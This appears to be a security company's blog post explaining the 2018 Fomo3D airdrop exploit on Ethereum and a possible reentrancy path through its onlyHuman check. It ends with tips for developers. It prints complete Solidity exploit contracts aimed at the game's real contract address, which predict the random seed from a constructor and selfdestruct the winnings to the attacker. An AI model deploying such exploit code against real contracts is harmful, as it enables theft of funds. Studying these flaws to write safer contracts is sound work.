The days when blockchain technology was associated only with cryptocurrencies and money exchanges are over. Today, this technology is used in numerous other areas, including online games.
In this post, we talk about the popular blockchain game Fomo3D and the exploit that was recently discovered in it. We explain how the FOMO 3D exploit works and give you some tips on how to avoid creating contracts that are vulnerable to this kind of exploit.
Contents
In case you didnโt know, Fomo3D is a blockchain game on the Ethereum network developed by Team Just. The application has about $12 million in ETH at stake, according to some sources.
Discovering the Fomo3D exploit
Fomo3D is a game thatโs supposed to mimic the way some shady Initial Coin Offerings (ICOs) operate. In this game, your goal is to exit scam every other player by buying private keys to your own ICO. The last person to buy a full key when the timer runs out takes the pot. However, what kind of game would it be without a little trick? In the case of Fomo3D, the keys get gradually more and more expensive, and every time a key is bought, the timer slightly increases.
Currently, the pot is at more than 20,000 ether. In addition to that, about 50,000 ether are circulating in related contracts.
While the contracts themselves seem to be really well made and almost fully autonomous, Fomo3D still has its weak spots. In particular, the contractโs airdrop lottery can be exploited for a tiny profit. This issue was discovered by Pรฉter Szilรกgyi in the middle of an argument with the development team.
This morning I found a bug in @PoWH3D‘s FoMo3D contract and published it on reddit and Twitter. Although I stand by all things posted, I agree with some critics that my tone was nasty. I do apologize for the laughing part, it was unwarranted for.
โ Pรฉter Szilรกgyi (@peter_szilagyi) July 23, 2018
So what does this exploit in Fomo3D look like? Basically, this issue is a combination of two common mistakes:
- Attempting to generate a random number in a fully deterministic system.
- Making wrong assumptions about how an EVM command should work.
Letโs take a detailed look at each of these mistakes.
Read also:
Fomo3D Round Conclusion Vulnerability
Randomness isnโt real
First, you need to understand that the blockchain was initially designed to be transparent and secure, so thereโs no place for randomness here. You can try to use timestamps, block hashes, addresses, and other seemingly random values to seed your number generation algorithm, but these values are highly predictable and can be pre-calculated and even manipulated by miners.
The easiest way to predict random numbers based on block data is to call the randomization function from a contract. Every call within a particular transaction is guaranteed to be executed within the same block. So an attacker can simply duplicate the randomness logic and pre-calculate any random values to check if they can win the race. If a transaction has no chance of winning, the contract can simply revert and let the attacker try again.
Team Just tried to prevent contracts from executing any of FOMOโs functions. Unfortunately for them, the way they implemented the prevention mechanism only made things worse for Fomo3D.
EVM assembly issues
By design, Ethereum sees almost no difference between a contract address and a human address. The only difference between the two is that a contract address usually has some code associated with it. Thereโs even an EVM assembly instruction to check the code size at an address:
uint256 codeSize = extcodesize(address);
However, when a contract is just created, its address doesnโt have any code. The code is placed at the address later by the constructor. So while the constructor is being executed, the extcodesize parameter at this address will return 0.
With this knowledge, we can try to exploit airdrops in Fomo3D from a contract constructor. Letโs take a look at the random number generation in an airdrop function of Fomo3D:
/**
* @dev generates a random number between 0-99 and checks to see if it has
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
As you can see, there are two things taken into account when generating a random number:
- The blockโs information, such as the timestamp, difficulty, gas limit, coinbase address, and so on
- The address of the sender
The calculation with the blockโs data can be simply copied to the attacker contract. Both executions will happen within the same transaction and in the same block.
Thereโs only one unknown value left to add into the formula: msg.sender. Since we want the airdrop() function to be called during the creation of a contract, we have to predict the exact address where the caller contract will be created.
Fortunately for us, even addresses on the Ethereum network arenโt random. An address of a new contract is calculated using the creatorโs address (sender) and the number of their transactions (nonce). A more detailed description is available on StackExchange.
Hereโs what the full formula for calculating the contract address looks like:
contractAddress = keccak256(rlp(sender, nonce)) //where rlp is the Recursive Length Prefix encoding and keccak256 is a hashing function.
The pre-calculation can be used to avoid creating unnecessary contracts. However, we can also use it to get the contract address and calculate the same values right from the new contractโs constructor.
So in order to exploit airdrops in Fomo3D, we need to create a contract that will pre-calculate the airdrop() result. If it has a value of true , we can call the airdrop function in the Fomo3D contract and either trigger an airdrop or revert.
Plus, there are several ways we can increase our chances of winning. In particular, we can generate more addresses or make the contract create its own copy and try again with a different starting address instead of simply reverting.
In the end, the final contract will look something like this:
pragma solidity 0.4.24;
// Interface for the airdrop functions
interface FOMO3DInterface {
function airDropTracker_() external returns (uint256);
function airDropPot_() external returns (uint256);
function withdraw() external;
}
// A factory to create copies of the exploit contract
contract ExploitFactory {
function createExploit(address attacker) public returns(ExploitFOMO newExploit) {
return new ExploitFOMO(address(this), attacker);
}
}
// A convenient way to execute the exploit
contract FOMOExploitExecuter {
ExploitFactory public factory;
function setFactory(address factoryAddress) public {
factory = ExploitFactory(factoryAddress);
}
function execute() public payable {
// skip any invariant checks to save gas
ExploitFOMO start = new ExploitFOMO(factory, msg.sender);
}
}
// The actual exploit
contract ExploitFOMO {
constructor(address factoryAddress, address attacker) public payable {
// Get the exploit factory
ExploitFactory factory = ExploitFactory(factoryAddress);
// Get the FOMO3D contract
FOMO3DInterface fomo3d = FOMO3DInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
// Calculate whether this transaction wins. This formula is the same as in the FOMO3D contract.
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(address(this))))) / (now)) +
(block.number)
)));
uint256 tracker = fomo3d.airDropTracker_();
if((seed - ((seed / 1000) * 1000)) >= tracker) {
//We lost, so create a new contract and try again
>factory.createExploit(attacker);
selfdestruct(attacker); // send any leftover ether to the attacker
}
address(fomo3d).call.value(msg.value)();
fomo3d.withdraw();
selfdestruct(attacker); // send the winnings to the attacker
}
}
This Fomo3D exploit will cost about 100,000 gas per attempt. So with a block gas limit of 8,000,000 gas, you can execute the exploit up to 80 times in a single transaction.
In fact, according to this transactionโs details, someone is already exploiting this vulnerability in a pretty similar way.
A bigger threat is underway
The bigger problem is that Fomo3D is also vulnerable to the so-called reentrancy attack. This attack can be initiated with the help of a vulnerable onlyHuman modifier.
In fact, the reentrancy vulnerability is one of the most dangerous vulnerabilities in Ethereum. Back in 2016, this vulnerability caused a hard fork of the network when 3 million ether were stolen from the decentralized autonomous organization (DAO).
This is what the execution of a reentrancy attack on Fomo3D might look like:
- A Fomo3D contract calls an address (attempts to transfer ether, for example).
- The called address is a contract that creates another contract.
- The second contract calls back to Fomo3D in its constructor.
- Fomo3D thinks it was a human and executes the function again, potentially resulting in reentrancy.
While there are no obviously exploitable functions in the Fomo3D contract, their contract network is very complex. So chances are high that thereโs a reentrancy vulnerability somewhere in the Fomo3D network.
Fortunately, you can avoid creating a vulnerable contract like Fomo3D by following these easy tips:
- Design your contract so it wonโt matter if the contract is called by a human or by another contract.
- Donโt generate random numbers on the blockchain as they can be manipulated and predicted easily.
If you really need to use random values, you can generate them off-chain and then send these values to your contract. But in this case, remember that a transaction is visible to everybody on the network before it has been mined.
Conclusion
So there you have it โ the Fomo3D exploit explained. This exploit reminds us once more that even the most secure network or application can have some vulnerabilities. Furthermore, it shows us that a lack of understanding the way things work within the Ethereum network can play a low-down trick with developers.
At Apriorit, we have a team of developers who are not only experienced in but also truly passionate about what they do. We have excellent expertise in data protection and cybersecurity and will gladly assist you in building a secure blockchain solution from scratch.